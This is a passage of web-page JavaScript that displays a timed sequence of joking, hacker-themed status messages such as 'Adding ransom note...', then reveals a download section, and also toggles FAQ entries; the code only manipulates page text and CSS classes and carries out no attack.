        'Adding ransom note...',
        'Shutting down our hacker computer (for OPSEC reasons!!11)',
        'DONE!'
    ];
    
    let currentIndex = 0;
    
    const addMessage = () => {
        if (currentIndex < messages.length) {
            const messageDiv = document.createElement('div');
            messageDiv.className = 'status-message';
            messageDiv.textContent = messages[currentIndex];
            messagesDiv.appendChild(messageDiv);
            currentIndex++;
            setTimeout(addMessage, 1000);
        } else {
            setTimeout(() => {
                downloadDiv.style.display = 'block';
            }, 1000);
        }
    };
    
    addMessage();
}

function toggleFaq(element) {
    const faqItem = element.closest('.faq-item');
    const faqAnswer = faqItem.querySelector('.faq-answer');
    
    faqItem.classList.toggle('active');
    faqAnswer.classList.toggle('active');
}